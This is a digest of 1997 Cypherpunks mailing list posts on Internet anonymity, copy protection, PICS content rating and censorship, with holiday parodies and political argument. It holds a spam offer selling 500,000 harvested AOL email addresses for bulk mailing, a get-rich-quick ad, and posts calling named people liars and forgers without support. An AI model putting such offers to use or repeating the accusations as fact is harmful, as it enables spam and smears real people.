Subject: Press
Message-ID: 



Disgusted with the censorous antics of Declan the Lying Forger, some of us may
be forgetting there are still some good journalists out there.

Today's newsday has an excellent article by Gail Dutton, reporting from the
AAAS's Conference ion Anoynmous Communications on the Internet.  She managed
to identify all the important issues in a ways that a layperson can understand,
without oversimplifying; presented different points of view, including her
own without editorializing and/or pushing her opinions as facts. I'm not
saying that Declan should learn from her, because Declan is clearly too
stupid to learn; but other aspiring journalists should get hold of this piece
and use it as a paradigm for their own writing.

I urge JYA the Copyright Violator to get hold of Newsday and to add Gail
Dutton's article to his collection of Copyright Violations.


Also: a guy named Joe Celko writes an SQL column for the freebie DBMS magazine,
which I sometimes read. Here's a short except from his january column:

   Crypto and Databases

   More and more raw databases are being sent out on CD-ROMs because the price
   per unit to publish them and the cost of equipment to read them is so low
   per byte.

   For example, you can get some fo the Miller Freeman magazines on CD-ROM,
   and one Miller Freeman magazine, Dr. Dobb's Journal (www.ddj.mfi.com), has
   been very successful with software and textbook collections on CD-ROM. if
   you missed an issue when you went to the dentist's office, national
   Geographic and Misdscape are releasing 1078 years of national geogra[hic on
   30 CD-TROMs for $300 for educational institutions - every page of every
   issue. As of this writing, I do not have a price for individual buyers. For
   mroe informaiton contact Mindscae at www.mindscapeschool.com or
   800-231-3088.

   On the same subject, a U.K. company, PAN Technology Ltd
   (www.pantechnology.com), has launched CopyLok, a method of copy protecting
   CDs. CopyLok prevents copying on CD recordable devices and on expensive
   Laser Beam Recorders that produce replicators, glass masters, and stampers
   for injection molding. In allows any information to be loaded on the hard
   disk of a computer, but will only allow that software to run if the
   original CD is in the drive. It stops friend-to-friend copying, illegal
   shop replication, and mass replication and also prevents Internet
   distribution.

   The product looks good and will be popular with PC software and computer
   game companies, which have to dal with software piracy rates in China and
   Vietnam of 96 percent and 99 percent, respectively. CopyLok is the reslt of
   three years of research, and is the first and only anticopying technology
   to have received Philips approval and a Philips' patent Application. it
   doesn't contravene any of the Philips worldwide standards for CD-ROM
   recording, such as the Yellow or Blue Book.

   The downside of all this is that part of the protection scheme uses strong
   cryptography to recognize the CD. The Clinton administration is still
   opposed to strong crypto, so U.S. companies could be put in a situation
   whee they have to publish their CD databases overseas to get protection.
   Once more, we disarm the victims and punish the innocent.

Hmm. Other than the observation that copy protection sucks (I broke it back
when it was used with 360K floppies and I'll break it on CDs if it's worth my
while), we observe that if the COpyLok software uses crypto to authenticate
the CD, not to encrypt the data, then it could be exported with no paperwork.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From lord_buttmonkey at juno.com  Wed Dec 24 17:32:24 1997
From: lord_buttmonkey at juno.com (Matthew L Bennett)
Date: Thu, 25 Dec 1997 09:32:24 +0800
Subject: Freedom Forum report on the State of the First Amendment
Message-ID: <19971224.202211.12886.0.Lord_Buttmonkey@juno.com>



>> You aren't being oppressed the other party doesn't want to interact
>> with you, unless that party is government providing base services to 
>all
>> (e.g. police/courts/border protection).
>
>Actually, you can be.

How?

>> You *are* being oppressed if mutually consensual behavior is 
>interfered
>> with by
>> others including the State.
>
>> You *are* being oppressed if you are coerced into a relationship you 
>don't
>> want.
>
>You are not being coerced into anything.  If you don't want to serve
>food to Blacks, don't open a restaurant.  It's your choice.

Umm, no, freedom doesn't work like that.  If you open a *private*
establishment, you have the right, according to the constitution, to deny
*anyone* the right to enter or eat in your restraunt.  However, if you
were banned from using the government postal service for being Jewish,
then yes, you are being oppressed.

>By the way, you are also not allowed to dump toxic waste in your own
>backyard.  Are you being oppressed?

Depends.  Does it affect your neighbors?  If so, then no.  If not, then
yes.

>> An employer-employee relationship is like a marriage or any other 
>arrangement
>> between adults -mutually consensual.
>
>In a fantasy world, it is mutually consensual.  It the real world, it 
>is 
>seldom mutual.

Tough shit.

If you don't like your job, no one's forcing you to stay.  Just leave it
and get another one.






From NoSelling at mci2000.com  Thu Dec 25 10:11:51 1997
From: NoSelling at mci2000.com (Reduce Taxes and Protect Assets)
Date: Thu, 25 Dec 1997 10:11:51 -0800 (PST)
Subject: Home Business:  $10 K/mth:  No Selling:No MLM!!
Message-ID: <199712252756UAA39721@post.adam.com.au>


 ============================================================
We maintain a current REMOVE list.  If you wish to be removed from 
our list then please hit "reply", enter "remove and (your full email address)" as the subject and we will promptly remove you from our list.  Thank you...
===============================================================


                    Are you afraid of Success?
                   LET ME SCARE YOU TO DEATH!

Hello Entrepreneur!

My name is Dave Starkey,


QUESTION-

What if... 

YOU could earn... an Immediate, Substantial $5,000 - $10,000+ 
Monthly Income... In As Little As 45-90 Days -- And all it required was a 
telephone?

What if I could show you how to generate a six figure income in just 
several  months?

I'm not talking about the elusive dream of residual income in Network 
Marketing.  This is NOT MLM!  NOT a Chain Letter or other Online Scam!  
I'm truly earning MUCH more every week than I ever before earned 
monthly chasing success in other programs!

I made $20,000 in my first month!  I'll teach you how!!!

What is it that I and so many others are doing?

    ==>CALL NOW TO FIND OUT:
	1-800-322-6169
	Ext. 9508
   
Seriously, if I can do this, ANYONE can.  What if you do even better
than I am?  Best of success to you, and thanks for your time.


Sincerely,
Dave Starkey

 ============================================================
We maintain a current REMOVE list.  If you wish to be removed from 
our list then please hit "reply", enter "remove and (your full email address)" as the subject and we will promptly remove you from our list.  Thank you...
============================================================

/-





From rcfuzz at aol.com  Wed Dec 24 18:47:20 1997
From: rcfuzz at aol.com (rcfuzz at aol.com)
Date: Thu, 25 Dec 1997 10:47:20 +0800
Subject: Opportunity knocks
In-Reply-To: 
Message-ID: 



Get started in Bulk Email without spending a fortune!

Over 500,000 AOL EMAIL ADDRESSES 
on disk for only $5.00 (including shipping.)

Addresses come on 5 .ZIP files are in single line text format
and are easily imported or pasted into your favorite
email program.

These addresses can be used by DOS, WINDOWS and MAC users.

Please send CHECK or MONEY ORDER for $5.00 to:

Bob Cauttero Productions, Inc.
214 West Shore Road
Harrington Park, NJ 07640

Please include your email address if you want to receive a shipping
confirmation.

For RUSH DELIVERY (Same Day Shipping), please add $1.00 ($6.00 Total)

For a FREE sample1000 address file, REPLY to this message with the word
SAMPLE in the SUBJECT BOX.






From nobody at REPLAY.COM  Wed Dec 24 19:33:15 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 25 Dec 1997 11:33:15 +0800
Subject: Anonymity Press
Message-ID: <199712250329.EAA01195@basement.replay.com>



(New York) Newsday, December 24, 1997, pp. C5, C6.

Anonymity and the Internet

Balancing freedom of speech with the need to protect
identities

By Gail Dutton
Special Correspondent

"Is Singapore the future?" asked information scientist Dave
Farber of the University of Pennsylvania. If it is, the
right to communicate anonymously on the Internet must be
protected now, to ensure continued freedom of speech,
according to participants at the Conference on Anonymous
Communications on the Internet, sponsored by the American
Academy for the Advancement of Sciences last month in
Irvine, Calif.

"Law enforcement in the U.S. is a trusted third party,"
Farber said. But, Lance Cottrell, president of Obscura
Information Security, added, "What is considered a good
government today may become an oppressive government 50
years from now."

The debate hinges upon whether any government should be able
to trace messages--encrypted or not--to their sources.
Singapore's repressive system is probably not the future
here, but participants at the conference agreed that the
right to communicate anonymously must be addressed now.

Anonymous e-mailers have been around since the beginning of
the Internet, but they have become increasingly simple to
use. Anonymous Internet e-mail and Web visits aren't just
for techies. For example, with The Anonymizer, developed by
Cottrell sending untraceable, anonymous e-mail is as simple
as clicking on the Web site (http://www.anonymizer.com) and
uploading your message. Entering a Web site is just as easy,
and can be done from the same site.

Now that anonymity is simple and available to everyone,
law-enforcement agents are getting nervous.

There is always the potential for abuse. Laws are written
for a paper-based society, according to attorney Joe
Rosenbaum, who specializes in information technology at
Hughes, Hubbard and Reed in Manhattan. "But, with the
Internet, access is multiplied so that individuals lose
control of their personal information," Rosenbaum said.

For example, public information becomes widely and quickly
accessible to anyone with an Internet connection, and
private information is available for mining by any site a
user visits. As a result, profiles of households can be
developed and linked directly to them, based upon Web visits
and information they provided individual sites--such as
names income, news preferences and any other information a
site requires for registering. The profiles could be used
for academic research or--what more people dread--market
research.

"Corporations need to recognize the right of data ownership
by individuals," maintained conference


speaker Donna Hoffman of Project 2,000, a communications
project at Purdue University. "Lack of trust [between
customers and companies] is the primary barrier to Internet
commerce. People are bothered by things online that they
aren't significantly bothered by offline," she added.

At work, if your employer asked your honest opinion of a
very sensitive, politically charged work issue, would you
give your unvarnished opinion? In writing? Would your answer
change if you were guaranteed 100 percent, untraceable
anonymity? If you said "yes" to the last question you just
gave corporations a reason to promote anonymous
communications.

Companies tend to be as protective as individuals when it's
their information being mined. They can filter out certain
addresses, banning them from the site. However, individuals--
often competitors--sometimes can enter anonymously and get 
the data they need.

To combat this, "You can build a site that doesn't allow
anonymity," Cottrell said. That would only slow that
research --not prevent the data from being compiled. Often
the information companies are trying to protect is publicly
available sometimes in their own printed literature.
With The Anonymizer, developed by Lance Cottrell of Obscura
Information Security, sending untraceable, totally anonymous
e-mail is as simple as clicking on the Web site and
uploading your message.

Pseudonymity

"Most people aren't looking for the same type of security as
the National Security Agency," Rosenbaum said. Generally,
pseudonymity--which is traceable --provides acceptable
security for all but the most sensitive communications, he
said.

The right to protect personal information, even from
corporations and market-research firms, is a driving force
behind pseudonymity. So far, consumers do not trust the
security and privacy of the Internet.

"Contrary to what companies believe, consumers aren't
interested in selling their personal information. Instead,
people want a relationship based upon trust-- trust that the
company won't sell their information," Hoffman said.

By using pseudonymity, Internet users can prevent companies
from linking customer profiles to their true identities.
This option also promotes commerce, by allowing customers to
use another name for their transactions, while using a
public key encryption method to let companies confirm and
authenticate an order. To maintain pseudonymity, customers
can pay their bills with electronic cash from companies such
as like DigiCash ( http://www.digicash.com ), and have
merchandise shipped to a postal box, she said. Although that
option is possible technologically, it is far from standard
practice.

The problem with this solution, Hoffman said, is that buyer
and seller would have to rely upon a trusted third party.
But, "No one knows who the third party may be, what their
responsibilities are and who will reinforce their
obligations if there is a dispute."

What Are You Hiding?

"Anonymity and pseudonymity both involve hiding knowledge
from somebody," according to Terrell Bynum, professor of
philosophy and director of the Research Center on Computing
and Society at Southern Connecticut State University.
"Therefore, what are you hiding, and from whom?"

The answer, obviously, is identity, and the reason is to
avoid repercussions of certain actions. That is a
particularly valuable option for whistle-blowers,
dissidents, human rights activists and others who put their
jobs and, sometimes, their lives on the line. It becomes
less palatable when the purpose is to defame or defraud.

Concerns

The need for anonymity in the United States is very
different from that in countries where human rights may be
stifled or, for that matter, in Europe, which has
data-protection laws, Rosenbaum explained. In the United
States, anonymity more often protects careers and
reputations than lives. It means users can protect their
personal data when visiting Web sites, minimize scrutiny by
law enforcement agents or others because of expressed
opinions, visit X-rated Web sites without their employers or
spouses knowing and send e-mail confidentially. In other
nations, anonymity offers sometimes the only way to voice
dissent or send human rights information out of the country
without risking lives.

The downside is that true anonymity also facilitates illegal
activities, such as fraud, libel, transmission of child
pornography and money laundering. And that ability makes
some people--notably law enforcement agents--nervous.

"The issue," Rosenbaum said, "is the degree of difficulty in
charging and convicting criminals. Making communications
more untraceable is creating problems that didn't exist
before."

Nonetheless, "Acts of physical destruction and violence are
almost impossible" on the Internet, said Peter Wayner, a
consulting editor at Byte Magazine. Limiting anonymity,
however, also can harm by limiting opportunities for free
speech.

"It is not clear that a happy middle ground can be found
that provides sufficient anonymity without risking serious
abuses," said Peter G. Neuman, principal scientist of SRI
International. Attendees agreed that the dangers of banning
anonymous communications are greater than the dangers of
allowing them.

Site Guidelines Recommended

"If you know information is from an anonymous source, you
treat it differently than if it is from a known identity or
a known and respected pseudonym," said Helen Nissenbaum,
associate director of the Center for Human Values at
Princeton University. Therefore Web sites should say, up
front, whether they allow anonymous postings, the conference
attendees agreed.

Ideally, anonymity guidelines would come from the Web
communities themselves, similar to professional
associations' codes of ethics. Individual newsgroups or each
person on the Internet could decide whether to accept
anonymous or pseudonymous communications.

Gail Dutton is a freelance writer.

[Box] Keeping Secrets

Anyone can drop a letter in a mailbox or place a call from a
pay phone anonymously. On the Internet, however, Internet
service providers track each message. Because they can be
easily read, they also can be scanned for keywords.

"The ease of surveillance on the Internet is unprecedented
in the history of communication," according to Lance
Cottrell, president of Obscura Information Security (
http://www.anonymizer.com ).

Because the act of sending and receiving messages is logged,
messages must be remailed assure anonymity.

"A message is still vulnerable to traffic analysis," said
Peter Wayner, Byte Magazine consulting editor. In practice,
remailers receive mail, ignore the "from" part of the
address, package it into a uniform size message and mail it
to another remailer, who does the same thing. "All messages
have to be identified in size and form," Cottrell explained.
To ensure anonymity, mail is routed through several
remailers, in and out of several countries, before it
reaches its destination. When remailers' records are
checked, as they sometimes are by U.S. law enforcement
officials, there should be nothing that allows the e-mail to
be traced, Cottrell said.

Another free program, currently being developed by Lucent
Technologies, offers pseudonymity for Web browsing by
changing a user's name, password and return e-mail address
automatically for each site a user logs onto. For example,
after logging onto http://lpwa.com:8000/, users can visit
Web sites in privacy and any e-mail sent to their return
address will be forwarded by the Lucent server to the actual
address and "carbon copied" to the pseudonym. Lucent knows
who uses the service, but other Web sites do not.

[End]








From rah at shipwright.com  Wed Dec 24 19:59:55 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Thu, 25 Dec 1997 11:59:55 +0800
Subject: [SOCIOBIO] Happy PC Holidays
Message-ID: 




--- begin forwarded text


MIME-Version: 1.0
Date:         Wed, 24 Dec 1997 22:25:24 -0800
Reply-To: phausman at digizen.net
Sender: Discussing the Evolutionary Approach to Human Development
              
From: Patricia Hausman 
Subject:      [SOCIOBIO] Happy PC Holidays
To: SOCIOBIO at MAELSTROM.STJOHNS.EDU

Greetings all,

Found this on the Internet, and thought it might bring some comic relief
to our discussions of late.

A very happy holiday season to all of you,

My best,
PATRICIA HAUSMAN

_________________________________________________________________________
>
>                  Political Correctness gone too far...
>
>                 The 12 Days of Christmas, Deconstructed
>
> On the 12th day of the Eurocentrically imposed midwinter festival, my
> potential-acquaintance-rape-survivor gave to me:
>
>    * TWELVE males reclaiming their inner warrior through ritual
>      drumming.
>
>    * ELEVEN pipers piping (plus the 18-member pit orchestra made up of
>      members in good standing of the Musicians Equity Union as called
>      for in their union contract even though they will not be asked to
>      play a note...)
>
>    * TEN melanin-deprived testosterone-poisoned scions of the
>      patriarchal ruling class system leaping,
>
>    * NINE persons engaged in rhythmic self-expression,
>
>    * EIGHT economically disadvantaged female persons stealing
>      milk-products from enslaved Bovine-Europeans,
>
>    * SEVEN endangered swans swimming on protected wetlands,
>
>    * SIX enslaved fowl-Europeans producing stolen nonhuman animal
>      products,
>
>    * FIVE golden symbols of culturally sanctioned enforced domestic
>      incarceration,
>
>      NOTE: after member of the Animal Liberation Front threatened to
>      throw red paint at my computer, the calling birds, French hens
>      and partridge have been reintroduced to their native habitat. To
>      avoid further animal-European enslavement, the remaining gift
>      package has been revised.
>
>    * FOUR hours of recorded whale songs,
>
>    * THREE deconstructionist poets,
>
>    * TWO Sierra Club calendars printed on recycled processed tree
>      carcasses
>
>    * And an Animal Rights activist chained to an old-growth pear tree.
>
> ----------------------------------------------------------------------
>     [ Christmas: Index | Humour Index | Merton College Home Page ]
> ----------------------------------------------------------------------
>       Merton College WWW Service, webmaster at merton.oxford.ac.uk

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: 







From bill.stewart at pobox.com  Wed Dec 24 22:02:24 1997
From: bill.stewart at pobox.com (Bill Stewart)
Date: Thu, 25 Dec 1997 14:02:24 +0800
Subject: The Worm Before Christmas
Message-ID: <3.0.3.32.19971224215229.00752284@popd.ix.netcom.com>





The Worm Before Christmas

By David Bradley, Betty Cheng, Hal Render, Greg Rogers, and Dan LaLiberte

T'was the night before finals, and all through the lab
Not a student was sleeping, not even McNabb.
Their projects were finished, completed with care
In hopes that the grades would be easy (and fair).

The students were wired with caffeine in their veins
While visions of quals nearly drove them insane.
With piles of books and a brand new highlighter,
I had just settled down for another all nighter ---

When out from our gateways arose such a clatter,
I sprang from my desk to see what was the matter;
Away to the console I flew like a flash,
And logged in as root to fend off a crash.

The windows displayed on my brand new Sun-3,
Gave oodles of info --- some in 3-D.
When, what to my burning red eyes should appear
But dozens of "nobody" jobs. Oh dear!

With a blitzkrieg invasion, so virulent and firm,
I knew in a moment, it was Morris's Worm!
More rapid than eagles his processes came,
And they forked and exec'ed and they copied by name:

"Now Dasher! Now Dancer! Now, Prancer and Vixen!
On Comet! On Cupid! On Donner and Blitzen!
To the sites in .rhosts and host.equiv
Now, dash away! dash away! dash away all!"

And then in a twinkling, I heard on the phone,
The complaints of the users. (Thought I was alone!)
"The load is too high!" "I can't read my files!"
"I can't send my mail over miles and miles!"

I unplugged the net, and was turning around,
When the worm-ridden system went down with a bound.
I fretted. I frittered. I sweated. I wept.
Then finally I core dumped the worm in /tmp.

It was smart and pervasive, a right jolly old stealth,
And I laughed, when I saw it, in spite of myself.
A look at the dump of that invasive thread
Soon gave me to know we had nothing to dread.

The next day was slow with no network connections,
For we wanted no more of those pesky infections.
But in spite of the news and the noise and the clatter,
Soon all became normal, as if naught were the matter.

Then later that month while all were away,
A virus came calling and then went away.
The system then told us, when we logged in one night:
"Happy Christmas to all! (You guys aren't so bright.)"






From dlv at bwalk.dm.com  Wed Dec 24 22:27:35 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 25 Dec 1997 14:27:35 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: <19971224.202211.12886.0.Lord_Buttmonkey@juno.com>
Message-ID: 



lord_buttmonkey at juno.com (Matthew L Bennett) writes:
>
> Umm, no, freedom doesn't work like that.  If you open a *private*
> establishment, you have the right, according to the constitution, to deny
> *anyone* the right to enter or eat in your restraunt.

Tell that to Denney's restaurants. (No, not in the United Fascist
States of Amerika you can't.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From mitch at duzen.com.tr  Wed Dec 24 23:20:48 1997
From: mitch at duzen.com.tr (S. M. Halloran)
Date: Thu, 25 Dec 1997 15:20:48 +0800
Subject: Cypherpunks IRC Christmas Eve Party
In-Reply-To: <199712250056.SAA01432@wire.insync.net>
Message-ID: <199712250715.JAA07775@ankara.duzen.com.tr>



On 24 Dec 97, Eric Cordian was found to have commented thusly:

> If anyone wants to drop by #Cypherpunks on EFNet this evening, myself and
> others will be around to chat.
> 
> --
> Eric Michael Cordian 0+
> O:.T:.O:. Mathematical Munitions Division
> "Do What Thou Wilt Shall Be The Whole Of The Law"
> 

The holidays are upon us...for some it will be a time for getting 
together with friends and family, maybe some heavy drinking of the 
egg nog, and good fun.  For others, this may not be the best holiday 
time because of life's usual difficulties, whether real or imagined.
Don't be depressed and alone--in general, but especially this time of 
year.  Push yourself away from keyboard & monitor for the day (or 
two) and get together with your friends and family.  A special 
greeting and reminder is sent to the paranoids of the list that it 
might do them good to give it a rest, make that special call to the 
psychotherapist to tell them how much you appreciate his/her service 
to humanity, go out and get some fresh, brisk air, and maybe go up to 
a stranger--maybe a fellow militiaman--say howdy, and maybe dare to 
give them a friendly hug.
:)

Sequoia & Nilgun & Mitch

   +------------------------------------------------------+
   |  send a more environmentally friendly greeting card  |
   |             courtesy of the Internet                 |
   | ***this tip brought to you by your local forester*** |
   +------------------------------------------------------+






From alan at clueserver.org  Thu Dec 25 00:27:40 1997
From: alan at clueserver.org (Alan)
Date: Thu, 25 Dec 1997 16:27:40 +0800
Subject: HUMOR: A Bah Humbug (fwd)
Message-ID: 



This was send to me by a friend.  it was too good not to share...

alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.

---------- Forwarded message ----------
Subject: HUMOR: A Bah Humbug


     Sung to the tune of  "Santa Claus is Coming to Town"

          You better watch out,
          You better not cry,
          You better not pout,
          I'm telling you why,
          Santa Claus is tapping,
          Your phone.

          He's buggin your room,
          He's reading your mail,
          He's keeping a file
          And runnin a tail
          Santa Claus is tapping
          Your phone

          He hears you in the bedroom
          Surveils you out of doors
          And if that doesn't get the goods
          Then he'll use provocateurs.

          So you mustn't assume
          That you are secure
          On Christmas Eve
          He'll kick in your door
          Santa Claus is tapping
          Your phone...







From nobody at REPLAY.COM  Thu Dec 25 02:35:04 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 25 Dec 1997 18:35:04 +0800
Subject: Merry X-Mas
Message-ID: <199712251031.LAA09046@basement.replay.com>



     Sung to the tune of  "Santa Claus is Coming to Town"

          You better watch out,
          You better not cry,
          You better not pout,
          I'm telling you why,
          Santa Claus is tapping,
          Your line.

          He's buggin your room,
          He's reading your mail,
          He's keeping a file
          And runnin a tail
          Santa Claus is tapping
          Your line

          He hears you in the bedroom
          Surveils you out of doors
          And if that doesn't get the goods
          Then he'll use provocateurs.

          So you mustn't assume
          That you are secure
          On Christmas Eve
          He'll kick in your door
          Santa Claus is tapping
          Your line...

Merry X-Mas






From jya at pipeline.com  Thu Dec 25 09:20:30 1997
From: jya at pipeline.com (John Young)
Date: Fri, 26 Dec 1997 01:20:30 +0800
Subject: CIA Tradecraft Notes
Message-ID: <1.5.4.32.19971225171521.007360e8@pop.pipeline.com>



We've transcribed the CIA's release of "A Compendium
of Analytic Tradecraft Notes," a 10-part series on
how to perform intelligence analysis.

   http://jya.com/cia-notes.htm  (124K)







From schear at lvdi.net  Thu Dec 25 10:00:16 1997
From: schear at lvdi.net (Steve Schear)
Date: Fri, 26 Dec 1997 02:00:16 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: 
Message-ID: 



>>> Where do you get the right to tell others how they can make a living?
>>
>>I don't have that right.  However, the Supreme Court has said that the
>>Congress has that right.
>
>If you would be so kind as to a) specify that supreme court ruling,
>and b) identify an online resource where I can obtain the text of
>that decision, so that I can 1) confirm or deny your allegation, and
>2) debate your position intelligently, I would greatly appreciate it.

It has to do with the application of laws, especially Federal, to corporations.  Recall that Corporations are legal fictions and, unlike individuals, are not constitutionally vested with inaliable rights.  They have been affirmed some rights, including free speech bu the SC, but generally with more limitations.

>
>>> I am not allowed to place toxic waste, or noise, where it can affect
>>> others; I can ingest toxins privately and listen to whatever music I
>>> like so long as you don't detect it in your backyard.
>>
>>Well, racism is hiring decisions is something that is detected in other
>>people's backyards.  That's why its illegal.
>
>What if I run a business out of my house?  What if I don't need
>employees (such that I could affort to hire a couple of people,
>or nobody at all)?  If I hire someone who is white because I don't
>want to hire someone is black, then it is not a loss that is felt
>within the black community, since I don't *need* to hire anybody
>in the first place.

Use of your property, as long as its private, were vested with many constitutional rights (many of which now been eroded by decades of SC 'interpretation').  However, once you operate a business upon a property (evidenced by the issuance of a business license) it becomes a 'public convenience' which can (and often is) heavily regulated and restricted.

So, operate w/o a business license and incorporation and keep your rights but risk prosection for tax evasion, or license your business and lose many of those consititional protections you covet.  Catch-22.

>I am not allowed to choose to hire someone based on skin color,
>and yet the country is riddled by "affirmative" action programs --
>which, in the short and brutal version of the description of "AA"
>is just a system of RACE-BASED PREFRENCES.
>
>I find it very interesting that liberal activists in California,
>who rabidly insist that racism is wrong, that we must have racial
>dialogues, that we should all "just get allong," used the court
>system to fight Proposition 209, which ends affirmative action in
>that state.  The people voted their will, and the activists took
>to the courts to override the people's will -- in effect, saying
>that the California voting public is just a bunch of idiots.

They simply showed their true 'liberal' idiological colors.  What they really seek isn't guarantees of equal opportunity but equal outcomes under law, what Robert Bork calls Radical Egalitarianism in his recent book, "Slouching Towards Gamorah."   

>So, back to my home business.  Let's say I build computers and sell
>them around the state.  Since I'm not transporting my product from
>one state to another, the Fed can't constitutionally regulate how
>I do business.

Wrong, see my explanation, above.

--Steve







From guy at panix.com  Thu Dec 25 10:08:36 1997
From: guy at panix.com (Information Security)
Date: Fri, 26 Dec 1997 02:08:36 +0800
Subject: Censorious trends: PICSRules & digsigs & anonymity, starring Feather & Templeton
Message-ID: <199712251759.MAA12713@panix2.panix.com>



12/25/1997

It started out small: PICS, a simpleton rating language.

And "for a good cause": ideas about everyone needing
digital signatures to use the Net.

Then came Clive and others: let's expand PICS to be world-wide,
and start reporting items politically incorrect to the police.


In comp.org.eff.talk Clive D.W. Feather  wrote:

:   I'll declare my affiliations up-front:

:   * One of the authors of the PICSRules proposal.
:   * Chairman of the IWF Management Board.
:   * Member of the IWF Policy Board.
:   * Associate Director of Demon Internet.
:   * Managing Director of CityScape Internet.
:   * Member of the LINX Content Regulation sub-committee.
:   * Parent of three children.
:   * Primary school governor.
:   * Free-speech advocate.

Free speech advocate?

As long as it has been reviewed first.

The FBI has come out in favor of mandatory Key Recovery
on all *domestic* encryption in the USA.

Reason?

: *   "Above the Law", by David Burnham, ISBN 0-684-80699-1, 1996
: *
: *   [ Al Bayse was assistant director of the FBI's Technical Services
: *     Division, in charge of spending more than half a billion dollars
: *     for research, development and computer operations. ]
: *
: *   "Sure", said Al Bayse of the FBI, "I believe there is an absolute
: *   right to privacy. But that doesn't mean you have the right to break
: *   the law in a serious way. Any private conversation that doesn't
: *   involve criminality should be private"
: *
: *   In other words, as the debate was framed by Bayse, the right to
: *   privacy is at least partly contingent on a determination by an FBI
: *   agent or clerk that the conversations they already intercepted and
: *   understood do not involve a crime.

PICSRules takes it a step further: review all material,
report everything politically incorrect to the police,
allow each country to censor to its own tune.

An information infrastructure to do so.

It will make us long for the days of false hits by
current filtering programs, where a White House page
was censored because the word "couples" was on it.

Decrees will control what we see.

In Australia:

#   From: bobb at acslink.aone.net.au (Bob Bain), re: PICSRules
#
#   There are some here in Canberra who seem to view the Internet as an
#   extension of the "computer game" laws. There isn't a single computer
#   game that can be marketed in Australia which would be suitable for
#   adults - due to the fact that somebody in Canberra has decreed it.

Can't make an effect decree without a mechanism in place.

More on decrees later.


----


Clive Feather wrote:
:   Information Security writes:

:   Speaking as one of the authors of the proposal in question, I can quite
:   confidently say that the *only* purpose of PICSRules is to provide a
:   convenient and standard notation for writing such rule sets and passing
:   them around.
 
:   >The only stated purpose is to "protect" kids.
 
:   Right.

:   Suppose that there is a secret government plan for "mass global
:   censorship" of material...

Yes, let us suppose there is...what would be a good innocuous
name for it?

Oh, let's see, how about "Internet Watch Foundation"?

One big Evil Eye of Mordor, watching all.

Sorry, I'm ahead of myself...

It's all for a good cause, right?

   "Protect the children" ---Clive Feather

Clive Feather wrote:

:   As for a "global rating system", the whole point
:   of PICSRules is to make one *less* needed.

Wrong: PICSRules will allow each country to censor to its own satisfaction.

By labeling all content far beyond the control even
keywords in the original document would give you.

You're not a censor of pornography?

#   From the Lapdance News Service (a division of ASSCnn)....12/1997
#   
#   LONDON, ENGLAND -- Demon Internet, which claims to be Europe's
#   largest Internet service provider (ISP), has begun testing an
#   automated scanning system for Usenet pornography.
#   
#   The system relies on data from the Internet Watch Foundation (IWF),
#   a UK association of ISPs, which has set up telephone and online
#   hotlines  for members of the public to advise on suspect Usenet
#   newsgroups and  Web addresses.
#   
#   "The aim of this new system is to help streamline the process of
#   finding duplicated illegal material on the Internet and reduce the
#   number of abusers of the Internet by reporting and removing the
#   material that has been sent," he said.
#
#   "The software takes an MD5 format fingerprint of each sexually
#   explicit image that has been posted to the Usenet and has been removed
#   for legal reasons," he said, adding that, when the software spots the
#   same fingerprint anywhere else on the Internet, it alerts staff at the
#   ISP, so they can take appropriate action.
#   
#   Plans call for the new software to be used in conjunction with the
#   IWF's program of identifying, reporting, and removing illegal material
#   from newsgroups.
#   
#   The association is an independent organization to implement the
#   proposals jointly agreed by the government, the police...

Oh, my.

Clive Feather is a liar.

He is bending over backwards to give the government and the police
exactly what they want, just as if it had been legislated.

Clive's excuse: this way _newsgroups_ won't be dropped
by government decree.

Oh, big improvement, Clive.

----

The political whims of the moment will be accommodated.

This is quite different from user-local filtering,
or allocating just one bit for labeling everything
as "child-only" or not.

It's not close to something for merely providing user-level filtering.

#   http://www.internetwatch.org.uk/p040797.html
#   
#   IWF PROPOSES A GLOBAL RATING SYSTEM 
#   
#   David Kerr, IWF's Chief Executive, is addressing government
#   ministers from Europe, United States, Canada, Russia and Japan at
#   the Global Information Networks Conference in Bonn on "rating and
#   filtering Internet content".
#   
#   It is advocated in the EU's latest policy paper on
#   "Protection of Minors and Human Dignity in Audiovisual and
#   Information Services" and has been suggested as an alternative
#   approach to protecting children in the USA following the fall of
#   the Communications Decency Act.


#   http://www.internetwatch.org.uk/stats.html
#   
#   September 1997 statistics:
#   
#      o 1600 items reported to other ISPs
#      o 1800 items reported to the police

You reported 1800 items to the police in one month already?

Wow.

Sounds like you _are_ the police.

Their eyes.

#   http://www.internetwatch.org.uk/legal.html
#   
#   The first role of the Internet Watch Foundation is to operate a
#   hotline service for users to report illegal material on the Internet. 

Oh, right: enforcing whatever governments pass as law,
taking responsibility for content passing through the
Net (WWW/Usenet).

No matter how silly, stupid, or censorious.

-------------------- Begin Cryptography Manifesto excerpt --------------------

Also, there seems to be a disagreement between citizens and
the Government over what even constitutes child pornography.
 
*   The New York Times, 1995
*   Newark, NJ, Jan 12 (AP)
*
*   A judge ruled today that a father must stand trial for taking nude photos
*   of his six-year-old daughter, despite the man's claim that the pictures
*   were art, not pornography.
*
*   The judge ruled they were not art, despite Mr. Feuer's instructor, Susan
*   Klechner of the International Center of Photography in New York City,
*   submitting an affidavit saying the pictures were taken for the course
*   and were consistent with the assignment.
*
*   After his arrest, Mr. Feuer was ordered not to have contact with his
*   daughter and could not stay at his home while the prosecution's
*   investigation continued.
*
*   The order was lifted last April, but David Ruhnke, Mr. Feuer's lawyer,
*   said "It's really difficult to overstate what a nightmare this has
*   been for him."
*
